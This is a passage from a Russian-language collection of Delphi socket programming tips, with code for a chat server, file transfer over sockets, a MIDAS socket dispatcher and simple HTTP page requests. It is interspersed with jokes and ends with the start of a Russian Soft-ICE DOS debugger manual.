TObject; Thread: TServerClientThread); begin Memo2.Lines.Insert(0, 'Thread end'); end; procedure TForm1.ServerSocket1ThreadStart(Sender: TObject; Thread: TServerClientThread); begin Memo2.Lines.Insert(0, 'Thread start'); end; procedure TForm1.Button3Click(Sender: TObject); var i: Integer; begin {Посылаем ВСЕМ клиентам сообщение из Edit1} for i := 0 to ServerSocket1.Socket.ActiveConnections - 1 do ServerSocket1.Socket.Connections[i].SendText(Edit1.Text); Memo1.Lines.Insert(0, '< ' + Edit1.Text); <strong>end</strong>; </pre> </td></tr></table><br> <p> Далее мы будем рассматривать уже не примеры, а приемы работы с TServerSocket. </p><p> Приемы работы с TServerSocket (и просто с сокетами) </p><p> Хранение уникальных данных для каждого клиента. </p><p> Наверняка, если Ваш сервер будет обслуживать множество клиентов, то Вам потребуется хранить какую-либо информацию для каждого клиента (имя, и др.), причем с привязкой этой информации к сокету данного клиента. В некоторых случаях делать все это вручную (привязка к handle сокета, массивы клиентов, и т.д.) не очень удобно. Поэтому для каждого сокета существует специальное свойство - Data. На самом деле, Data - это всего-навсего указатель. Поэтому, записывая данные клиента в это свойство будьте внимательны и следуйте правилам работы с указателями (выделение памяти, определение типа, и т.д.)! </p><p> <b>Посылка файлов через сокет</b> </p><p> Здесь мы рассмотрим посылку файлов через сокет (по просьбе JINX-а) :-). Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере: </p> <table><tr><td><br> <pre> <font color="#000080"><em>{Посылка файла через сокет}</em></font> <strong>procedure</strong> SendFileBySocket(filename: <strong>string</strong>); <strong>var</strong> srcfile: TFileStream; <strong>begin</strong> <font color="#000080"><em>{Открываем файл filename}</em></font> srcfile := TFileStream.Create(filename, fmOpenRead); <font color="#000080"><em>{Посылаем его первому подключенному клиенту}</em></font> ServerSocket1.Socket.Connections[0].SendStream(srcfile); <font color="#000080"><em>{Закрываем файл}</em></font> srcfile.Free; <strong>end</strong>; </pre> </td></tr></table><br> <p> Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile)) </p> <p> Почему несколько блоков при передаче могут обьединяться в один </p> <p> Это тоже по просьбе JINX-а :-). За это ему огромное спасибо! Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды: </p> <table><tr><td><br> <pre> ServerSocket1.Socket.Connections[0].SendText('Hello, '); ServerSocket1.Socket.Connections[0].SendText('world!'); </pre> </td></tr></table><br> <p> совершенно идентичны одной команде: </p> <table><tr><td><br> <pre> ServerSocket1.Socket.Connections[0].SendText('Hello, world!'); </pre> </td></tr></table><br> <p> И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный): </p> <table><tr><td><br> <pre> <font color="#000080"><em>{Прием файла через сокет}</em></font> <strong>procedure</strong> TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); <strong>var</strong> l: Integer; buf: PChar; src: TFileStream; <strong>begin</strong> <font color="#000080"><em>{Записываем в l размер полученного блока}</em></font> l := Socket.ReceiveLength; <font color="#000080"><em>{Заказываем память для буфера}</em></font> GetMem(buf,l+1); <font color="#000080"><em>{Записываем в буфер полученный блок}</em></font> Socket.ReceiveBuf(buf,l); <font color="#000080"><em>{Открываем временный файл для записи}</em></font> src := TFileStream.Create('myfile.tmp',fmOpenReadWrite); <font color="#000080"><em>{Ставим позицию в конец файла}</em></font> src.Seek(0,soFromEnd); <font color="#000080"><em>{Записываем буфер в файл}</em></font> src.WriteBuffer(buf,l); <font color="#000080"><em>{Закрываем файл}</em></font> src.Free; <font color="#000080"><em>{Освобождаем память}</em></font> FreeMem(buf); <strong>end</strong>; </pre> </td></tr></table><br> <p> <b>Как следить за сокетом</b> </p> <p> Это вопрос сложный и требует долгого рассмотрения. Пока лишь замечу, что созданный Вашей программой сокет Вы можете промониторить всегда :-). Сокеты (как и большинство объектов в Windows) имеют свой дескриптор (handle), записанный в свойстве Handle. Так вот, узнав этот дескриптор Вы свободно сможете управлять любым сокетом (даже созданным чужой программой)! Однако, скорее всего, чтобы следить за чужим сокетом, Вам придется использовать исключительно функции WinAPI Sockets. </p> <p> <b>Эпилог</b> </p> <p> В этой статье отображены основные приемы работы с компонентом TServerSocket в Дельфи и несколько общих приемов для обмена данными по сокетам. Если у Вас есть вопросы - скидывайте их мне на E-mail: snick@mailru.com, а еще лучше - пишите в конференции этого сайта (Delphi. Общие вопросы), чтобы и другие пользователи смогли увидеть Ваш вопрос и попытаться на него ответить! </p> <!-- end -->

TServerSocket и TClientSocket без scktsrvr.exe отказываются работать.

Встречаются девушка и молодой человек, знакомые лишь виртуально. Молодой человек, смотря на девушку: - Так вот почему с тобой было так интересно говорить - все остальное с тобой делать просто бесполезно.
Вопрос: У меня ни TServerSocket, ни TClientSocket без scktsrvr.exe отказываются работать! Слышал, что для решения проблемы можно что-то откуда-то вырезать и вклеить в программу.

Установите этот компонент:

unit Sck;
interface
uses
  Classes, SysUtils, Windows, Messages,
  ScktComp, SConnect, ActiveX, MidConst;
type
  TNotifyClient = procedure (Sender: TObject; Thread: TServerClientThread) of
object;
{ TSocketDispatcher }
  TSocketDispatcher = class;
{ TSocketDispatcherThread }
  TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)
  private
    FRefCount: Integer;
    FInterpreter: TDataBlockInterpreter;
    FTransport: ITransport;
    FInterceptGUID: string;
    FLastActivity: TDateTime;
    FTimeout: TDateTime;
    FRegisteredOnly: Boolean;
  protected
    SocketDispatcher: TSocketDispatcher;
    function CreateServerTransport: ITransport; virtual;
    procedure AddClient;
    procedure RemoveClient;
    { IUnknown }
    function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
    { ISendDataBlock }
    function Send(const Data: IDataBlock; WaitForResult: Boolean): IDataBlock;
stdcall;
  public
    constructor Create(AOwner: TSocketDispatcher; CreateSuspended: Boolean;
      ASocket: TServerClientWinSocket; const InterceptGUID: string;
      Timeout: Integer; RegisteredOnly: Boolean);
    procedure ClientExecute; override;
    property LastActivity: TDateTime read FLastActivity;
  end;
{ TSocketDispatcher }
  TSocketDispatcher = class(TServerSocket)
  private
    FInterceptGUID: string;
    FTimeout: Integer;
    FRegisteredOnly: Boolean;
    FOnRemoveClient: TNotifyClient;
    FOnAddClient: TNotifyClient;
    procedure GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;
      var SocketThread: TServerClientThread);
  published
    constructor Create(AOwner: TComponent); override;
    property InterceptGUID: string read FInterceptGUID write FInterceptGUID;
    property Timeout: Integer read FTimeout write FTimeout;
    property RegisteredOnly: Boolean read FRegisteredOnly write
FRegisteredOnly;
    property OnAddClient: TNotifyClient read FOnAddClient write FOnAddClient;
    property OnRemoveClient: TNotifyClient read FOnRemoveClient write
FOnRemoveClient;
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Midas', [TSocketDispatcher]);
end;
{ TSocketDispatcherThread }
constructor TSocketDispatcherThread.Create(AOwner: TSocketDispatcher;
  CreateSuspended: Boolean; ASocket: TServerClientWinSocket;
  const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);
begin
  SocketDispatcher := AOwner;
  FInterceptGUID := InterceptGUID;
  FTimeout := EncodeTime(Timeout div 60, Timeout mod 60, 0, 0);
  FLastActivity := Now;
  FRegisteredOnly := RegisteredOnly;
  inherited Create(CreateSuspended, ASocket);
end;
function TSocketDispatcherThread.CreateServerTransport: ITransport;
var
  SocketTransport: TSocketTransport;
begin
  SocketTransport := TSocketTransport.Create;
  SocketTransport.Socket := ClientSocket;
  SocketTransport.InterceptGUID := FInterceptGUID;
  Result := SocketTransport as ITransport;
end;
procedure TSocketDispatcherThread.AddClient;
begin
  with SocketDispatcher do
    if Assigned(OnAddClient) then OnAddClient(SocketDispatcher, Self);
end;
procedure TSocketDispatcherThread.RemoveClient;
begin
  with SocketDispatcher do
    if Assigned(OnRemoveClient) then OnRemoveClient(SocketDispatcher, Self);
end;
{ TSocketDispatcherThread.IUnknown }
function TSocketDispatcherThread.QueryInterface(const IID: TGUID;
  out Obj): HResult;
begin
  if GetInterface(IID, Obj) then Result := 0 else Result := E_NOINTERFACE;
end;
function TSocketDispatcherThread._AddRef: Integer;
begin
  Inc(FRefCount);
  Result := FRefCount;
end;
function TSocketDispatcherThread._Release: Integer;
begin
  Dec(FRefCount);
  Result := FRefCount;
end;
{ TSocketDispatcherThread.ISendDataBlock }
function TSocketDispatcherThread.Send(const Data: IDataBlock;
  WaitForResult: Boolean): IDataBlock;
begin
  FTransport.Send(Data);
  if WaitForResult then
    while True do
    begin
      Result := FTransport.Receive(True, 0);
      if Result = nil then break;
      if (Result.Signature and ResultSig) = ResultSig then
        break else
        FInterpreter.InterpretData(Result);
    end;
end;
procedure TSocketDispatcherThread.ClientExecute;
var
  Data: IDataBlock;
  msg: TMsg;
  Obj: ISendDataBlock;
  Event: THandle;
  WaitTime: DWord;
begin
  CoInitialize(nil);
  try
    Synchronize(AddClient);
    FTransport := CreateServerTransport;
    try
      Event := FTransport.GetWaitEvent;
      PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);
      GetInterface(ISendDataBlock, Obj);
      if FRegisteredOnly then
        FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else
        FInterpreter := TDataBlockInterpreter.Create(Obj, '');
      try
        Obj := nil;
        if FTimeout = 0 then
          WaitTime := INFINITE else
          WaitTime := 60000;
        while not Terminated and FTransport.Connected do
        try
          case MsgWaitForMultipleObjects(1, Event, False, WaitTime,
           QS_ALLEVENTS) of
            WAIT_OBJECT_0:
            begin
              WSAResetEvent(Event);
              Data := FTransport.Receive(False, 0);
              if Assigned(Data) then
              begin
                FLastActivity := Now;
                FInterpreter.InterpretData(Data);
                Data := nil;
                FLastActivity := Now;
              end;
            end;
            WAIT_OBJECT_0 + 1:
              while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do
                DispatchMessage(msg);
            WAIT_TIMEOUT:
              if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then
                FTransport.Connected := False;
          end;
        except
          FTransport.Connected := False;
        end;
      finally
        FInterpreter.Free;
        FInterpreter := nil;
      end;
    finally
      FTransport := nil;
    end;
  finally
    CoUninitialize;
    Synchronize(RemoveClient);
  end;
end;
{ TSocketDispatcher }
constructor TSocketDispatcher.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  ServerType := stThreadBlocking;
  OnGetThread := GetThread;
end;
procedure TSocketDispatcher.GetThread(Sender: TObject;
  ClientSocket: TServerClientWinSocket;
  var SocketThread: TServerClientThread);
begin
  SocketThread := TSocketDispatcherThread.Create(Self, False, ClientSocket,
    InterceptGUID, Timeout, RegisteredOnly);
end;
end.

Простой способ отправки файлов при помощи TClientSocket и TServerSocket.

Диктор новостей: "...Из Баку сообщают о разработке нового стандарта для локальных компьютерных сетей - Azernet".
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, ExtCtrls, StdCtrls;
type
  TForm1 = class(TForm)
    Image1: TImage;
    Image2: TImage;
    ClientSocket1: TClientSocket;
    ServerSocket1: TServerSocket;
    Button1: TButton;
    procedure Image1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
    Socket: TCustomWinSocket);
    procedure ServerSocket1ClientRead(Sender: TObject;
    Socket: TCustomWinSocket);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
    Reciving: boolean;
    DataSize: integer;
    Data: TMemoryStream;
  public
    { Public declarations }
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Image1Click(Sender: TObject);
begin
  // Это процедура для открытия сокета на ПРИЁМ (RECEIVING).
  // Button1.Click is this procedure as well.
  ClientSocket1.Active:= true;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  // Открытие ОТПРАВЛЯЮЩЕГО (SENDING) сокета.
  ServerSocket1.Active:= true;
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
  // Посылаем команду для начала передачи файла.
  Socket.SendText('send');
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
  s, sl: string;
begin
  s:= Socket.ReceiveText;
  // Если мы не в режиме приёма:
  if not Reciving then
  begin
    // Теперь нам необходимо получить длину потока данных.
    SetLength(sl, StrLen(PChar(s))+1); // +1 for the null terminator
    StrLCopy(@sl[1], PChar(s), Length(sl)-1);
    DataSize:= StrToInt(sl);
    Data:= TMemoryStream.Create;
    // Удаляем информацию о размере из данных.
    Delete(s, 1, Length(sl));
    Reciving:= true;
  end;
  // Сохраняем данные в файл, до тех пор, пока не получим все данные.
  try
    Data.write(s[1], length(s));
    if Data.Size = DataSize then
    begin
      Data.Position:= 0;
      Image2.Picture.Bitmap.LoadFromStream(Data);
      Data.Free;
      Reciving:= false;
      Socket.Close;
    end;
  except
    Data.Free;
  end;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
  ms: TMemoryStream;
begin
  // Клиент получает команду на передачу файла.
  if Socket.ReceiveText = 'send' then
  begin
    ms:= TMemoryStream.Create;
    try
      // Получаем данные на передачу.
      Image1.Picture.Bitmap.SaveToStream(ms);
      ms.Position:= 0;
      // Добавляем длину данных, чтобы клиент знал,
      // сколько данных будет передано
      // Добавляем #0 , чтобы можно было определить,
      // где заканчивается информация о размере.
      Socket.SendText(IntToStr(ms.Size) + #0);
      // Посылаем его.
      Socket.SendStream(ms);
    except
      // Итак, осталось освободить поток, если что-то не так.
      ms.Free;
    end;
  end;
end;
end.

Посылка и прием сообщений через сокеты.

Интернетчик возвращается поздно домой. Его встречают двое громил. Один из них достает нож и говорит: - Гони деньги! "Провайдеры",- подумал интернетчик.
    {... Здесь идет заголовок файла и определение
    формы TForm1 и ее экземпляра Form1}
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      {Определяем порт и запускаем сервер}
      ServerSocket1.Port := 1025;
      {Метод Insert вставляет строку в массив в указанную позицию}
      Memo2.Lines.Insert(0,'Server starting');
      ServerSocket1.Open;
    end;
   
    procedure TForm1.Button2Click(Sender: TObject);
    begin
      {Останавливаем сервер}
      ServerSocket1.Active := False;
      Memo2.Lines.Insert(0,'Server stopped');
    end;
   
    procedure TForm1.ServerSocket1Listen(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь сервер "прослушивает" сокет на наличие клиентов}
      Memo2.Lines.Insert(0,'Listening on port '+IntToStr(ServerSocket1.Port));
    end;
   
    procedure TForm1.ServerSocket1Accept(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь сервер принимает клиента}
      Memo2.Lines.Insert(0,'Client connection accepted');
    end;
   
    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь клиент подсоединяется}
      Memo2.Lines.Insert(0,'Client connected');
    end;
   
    procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Здесь клиент отсоединяется}
      Memo2.Lines.Insert(0,'Client disconnected');
    end;
   
    procedure TForm1.ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    begin
      {Произошла ошибка - выводим ее код}
      Memo2.Lines.Insert(0,'Client error. Code = '+IntToStr(ErrorCode));
    end;
   
    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {От клиента получено сообщение - выводим его в Memo1}
      Memo2.Lines.Insert(0,'Message received from client');
      Memo1.Lines.Insert(0,'> '+Socket.ReceiveText);
    end;
   
    procedure TForm1.ServerSocket1ClientWrite(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      {Теперь можно слать данные в сокет}
      Memo2.Lines.Insert(0,'Now can write to socket');
    end;
   
    procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer;
      var ClientSocket: TServerClientWinSocket);
    begin
      Memo2.Lines.Insert(0,'Get socket');
    end;
   
    procedure TForm1.ServerSocket1GetThread(Sender: TObject;
      ClientSocket: TServerClientWinSocket;
      var SocketThread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Get Thread');
    end;
   
    procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject;
      Thread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Thread end');
    end;
   
    procedure TForm1.ServerSocket1ThreadStart(Sender: TObject;
      Thread: TServerClientThread);
    begin
      Memo2.Lines.Insert(0,'Thread start');
    end;
   
    procedure TForm1.Button3Click(Sender: TObject);
     var i: Integer;
    begin
      {Посылаем ВСЕМ клиентам сообщение из Edit1}
      for i := 0 to ServerSocket1.Socket.ActiveConnections-1 do begin
       ServerSocket1.Socket.Connections[i].SendText(Edit1.Text);
      end;
      Memo1.Lines.Insert(0,'< '+Edit1.Text);
    end;

Почему несколько блоков при передаче по сокету могут объединяться в один.

Скорость передачи между двумя и более пользователями Intегnеtа при обрыве связи внезапно возрастает до 2 мегаматов в секунду.

Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды:

ServerSocket1.Socket.Connections[0].SendText('Hello, ');
ServerSocket1.Socket.Connections[0].SendText('world!');

Совершенно идентичны одной команде:

ServerSocket1.Socket.Connections[0].SendText('Hello, world!');

И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный):

  {Прием файла через сокет}
  procedure TForm1.ClientSocket1Read(Sender: TObject;
    Socket: TCustomWinSocket);
   var l: Integer;
       buf: PChar;
       src: TFileStream;
  begin
    {Записываем в l размер полученного блока}
    l := Socket.ReceiveLength;
    {Заказываем память для буфера}
    GetMem(buf,l+1);
    {Записываем в буфер полученный блок}
    Socket.ReceiveBuf(buf,l);
    {Открываем временный файл для записи}
    src := TFileStream.Create('myfile.tmp',fmOpenReadWrite);
    {Ставим позицию в конец файла}
    src.Seek(0,soFromEnd);
    {Записываем буфер в файл}
    src.WriteBuffer(buf,l);
    {Закрываем файл}
    src.Free;
    {Освобождаем память}
    FreeMem(buf);
  end;

Как запросить страницу с сайта.

Автор: Fantasist WEB-сайт: http://forum.vingrad.ru

unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp;
const
  Request: AnsiString = 'GET / HTTP/1.1' + #0$D#0$A+
 'Accept: application/vnd.ms-excel, application/msword, */*' + #0$D#0$A+
   'Accept-Language: en-us' + #0$D#0$A+
   'Accept-Encoding: gzip, deflate' + #0$D#0$A+
   'User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)' + #0$D#0$A+
   'Host: vingrad.com' + #0$D#0$A+
   'Connection: Keep-Alive' + #0$D#0$A+#0$D#0$A;
type
TForm1 = class(TForm)
    Skt: TClientSocket;
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure SktRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure SktConnect(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  Skt.Host := 'vingrad.ru';
  Skt.Port := 80;
  Skt.Open;
end;
procedure TForm1.SktRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  Memo1.Lines.Text := Memo1.Lines.Text + Socket.ReceiveText;
end;
procedure TForm1.SktConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText(Request);
end;
end.

Request - это запрос который посылает мой IE5. В принципе, по протоколу HTTP он может ограничиваться: 'GET / HTTP/1.1'+#13+#13. Если хотите запросить оределенный документ: 'GET / HTTP/1.1'+#13+#13. Конечно, всегда можно воспользоваться готовыми компонентами.

Как запросить страницу с сайта 2.

Автор: http://www.sources.ru

{
Присоедините следующий обработчик к Вашему TClientSocket.
Он получает файл с сервера и помещает его в строковую переменную
FText string variable. Однако он не убирает заголовок,
который так же посылается вебсервером.
Не забудьте задать правильный адрес сервера в объекте Socket.
Установите порт 80. А затем откройте его при помощи команды "Socket.Open;".
Автор: E.J.Molendijk
 }
const
  WebPage = '/index.html';
var
  FText: string;
procedure TForm1.SocketWrite(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.SendText('GET ' + Webpage + ' HTTP/1.0'#10#10);
end;
procedure TForm1.SocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FText := FText + Socket.ReceiveText
end;
procedure TForm1.SocketConnecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  FText := '';
end;
procedure TForm1.SocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  { --- }
  { ЗДЕСЬ ВЫ МОЖЕТЕ ОБРАБАТЫВАТЬ ВАШ FText !!! }
  { --- }
end;
procedure TForm1.SocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  ErrorCode := 0; { Ошибки игнорируем }
end;

Посылка файлов через сокет.

Спать на работе - грех, не для того вам там дан бесплатный интернет!

Здесь мы рассмотрим посылку файлов через сокет. Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере:

{Посылка файла через сокет}
procedure SendFileBySocket(filename: string);
var 
  srcfile: TFileStream;
begin
  {Открываем файл filename}
  srcfile := TFileStream.Create(filename,fmOpenRead);
  {Посылаем его первому подключенному клиенту}
  ServerSocket1.Socket.Connections[0].SendStream(srcfile);
  {Закрываем файл}
  srcfile.Free;
end;

Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile)).

Руководство по Soft-ICE (DOS) - 1.

- И почему персональный компьютер изобрели не в России? Ведь все его устройства общаются между собой только по матери.

РАЗДЕЛ I - Изучение Soft-ICE

ГЛАВА 1

1.1 Описание Продукта

Soft-ICE - инструмент отладки программного обеспечения, который обеспечивает возможности отладки на аппаратном уровне для отладчиков PC DOS и MS DOS.

Soft-ICE использует защищенный режим 80386, чтобы запускать DOS в виртуальной машине. Это дает Soft-ICE полный контроль над окружением DOS. Soft-ICE использует особенности защищенного режима 80386, типа страничной организации памяти, уровня привилегий ввода/вывода и регистров отладки, для установки аппаратных точек останова из вашего существующего отладчика DOS.

Soft-ICE был разработан для достижения трех целей:

Использовать возможности виртуальной машины 80386 для тех способов отладки, которые являются невозможными или недопустимо медленными для отладчиков, использующих только программные средства (например, аппаратные точки останова в режиме реального времени, защита памяти, борьба с программами, вызывающими зависание системы и т.д.). Работать с существующими отладчиками. Мы хотели предоставить инстру- мент, который работал бы с существующими инструментами. Мы разработали Soft-ICE таким образом, чтобы вам не нужно было изучать новый отладчик для получения мощных возможностей для отладки программ на аппаратном уровне. Быть программой, дружественной к пользователю, с окном, которое всплывает немедленно и не мешает работать. Все команды Soft-ICE были разработаны, чтобы помещаться в небольшом окне так, чтобы была видна информация за экраном Soft-ICE. Динамическая система интерактивной помощи помогает пользователям, редко использующим Soft-ICE.

Предоставляемые возможности программы Soft-ICE:

Точки останова на чтение/запись в ОЗУ в режиме реального времени, на чтение/запись в порты и области памяти и на прерывания История выполнения команд для обратной трассировки Символьная отладка и отладка на уровне исходных текстов Окружение, работающее с существующими отладчиками Полная поддержка EMM 4.0 Возможность наращивания основной памяти свыше 640КБ для систем с монохромными адаптерами Окно, всплывающее в любое время Способность всплытия по нажатию клавиши даже при отключенных прерываниях Код отладчика, изолированный при помощи защищенного режима 80386. Это предотвращает изменение или разрушение Soft-ICE выполняющейся программой; даже если DOS будет разрушена, Soft-ICE все еще будет работать Способность настроить Soft-ICE не использовать память ниже границы 640КБ, если в системе есть больше чем 640КБ Дружественная динамическая помощь Возможность использования в качестве автономного отладчика. Эта возможность полезна при отладке загружаемых драйверов устройств, обработчиков прерываний, последовательностей команд, которые традиционные отладчики не могут пройти; если ваш отладчик испытывает трудности при повторных вхождениях в код (re-entrancy) * Способность мягкой перезагрузки, позволяющая отлаживать другие операционные системы или самозагружающиеся программы Простая установка без необходимости настройки DIP-переключателей для предотвращения захвата портов и никаких конфликтов с адресным пространством ОЗУ

Внимание: Soft-ICE будет работать только с программами реального режима адресации. Он не будет работать с программами, которые используют инструкции защищенного режима 80286 или 80386.

1.2 Использование этого Руководства

Руководство по Soft-ICE разделено на четыре основные части:

Изучение Soft-ICE Команды Поддерживаемые Возможности Дополнительные Темы

Soft-ICE можно использовать в большинстве отладочных задач после прочтения Части I,"Изучение Soft-ICE" и небольшого экспериментирования. Дружествен- ная интерактивная система помощи пользователям Soft-ICE может использоваться для получения описания и синтаксиса команд.

Часть "Изучение Soft-ICE" содержит инструкции по установке, описание интер- фейса пользователя и обучающую часть. Обучающая часть предназначена для того, чтобы вы быстро смогли освоиться и начать работу.

Часть "Команды" описывает все команды Soft-ICE. Описания команд упорядочены по функциональным группам с буквенным индексом для ссылок.

Часть "Поддерживаемые Возможности" охватывает расширенные опции загрузки, символьную отладку и отладку на уровне исходных текстов, возможности EMM 4.0.

Часть "Дополнительные Темы" охватывает темы типа использования Soft-ICE с загружаемыми драйверами ДОС и использования Soft-ICE с другими ОС (non-DOS).

Во всем руководстве, особенно в обучающей части и части с описанием команд, даны примеры, требующие ввода данных в Soft-ICE. Когда в руководстве указано.

"Нажмите" клавишу, вы должны нажать указанную клавишу. Когда в руководстве указано "Введите" команду типа WIN, вы должны набрать на клавиатуре указан- ные буквы, после чего нажать ВВОД.

1.3 Системные требования

Soft-ICE работает с IBM Серии II модели 70 и 80, Compaq 80386 и компьютерами 80386SX, с совместимыми с AT и 80386 картами сопроцессора. Soft-ICE будет работать с сопроцессорами 80386 XT только, если они совместимы с AT.

Soft-ICE лучше всего работает при наличии расширенной памяти, но так же прекрасно работает на системах только с основной памятью.

Soft-ICE не использует DOS или ROM BIOS для видео вывода и клавиатурного ввода. Поэтому видеоадаптер должен быть совместим с одним из следующих: MDA, Hercules, CGA, EGA или VGA. Soft-ICE также поддерживает двухмониторную конфигурацию, которая очень полезна при отладке программ, интенсивно работа- ющих с видеоадаптером.

ГЛАВА 2

2.1 Дискеты

Soft-ICE поставляется на дискетах 5 1/4 или 3 1/2 дюйма.

При запуске Soft-ICE, как мера против компьютерных пиратов, на экран выводится имя лица, обладающего лицензией на использование вашей копии Soft-ICE. Для вашего удобства дискета с Soft-ICE физически не защищена от копирования. Для нашего удобства, мы надеемся на ваше серьезное отношение к нашему лицензионному соглашению. Важно сделать резервную копию дискеты на случай повреждения оригинала.

В директории дискеты Soft-ICE должны находиться следующие файлы:

S-ICE.EXE S-ICE.DAT LDR.EXE MSYM.EXE EMMSETUP.EXE UPTIME.EXE README.SI SAMPLE.EXE SAMPLE.ASM SAMPLE.SYM S-ICE.EXE - программа Soft-ICE. S-ICE.DAT - файл инициализации Soft-ICE. LDR.EXE - загрузчик программ и символьных файлов, входящий в пакет Soft-ICE. MSYM.EXE - программа создания символьных файлов, входящая в пакет Soft-ICE. EMMSETUP.EXE - программа, позволяющая вам определить способ использования вашей системой отображаемой памяти. UPTIME.EXE устанавливает время в соответствии с часами реального времени. README.SI - текстовый файл, содержащий информацию о Soft-ICE, которая не входит в это руководство. SAMPLE.EXE - короткая демонстрационная программа, которая используется в обучающей части. SAMPLE.ASM - файл с исходным текстом демонстрационной программы на Ассемблере SAMPLE.SYM - символьный файл для демонстрационной программы.

2.2 Загрузка Soft-ICE

Перед запуском Soft-ICE, скопируйте все файлы с дистрибутивной дискеты на ваш жесткий диск.

Эти файлы должны быть помещены в каталог, доступный через ваш дополнительный список путей (path list).

S-ICE.EXE может быть загружен как драйвер устройства в CONFIG.SYS или запущен как программа из командной строки. Чтобы использовать большинство возможностей Soft-ICE, S-ICE.EXE должен быть загружен как драйвер устройства в CONFIG.SYS.

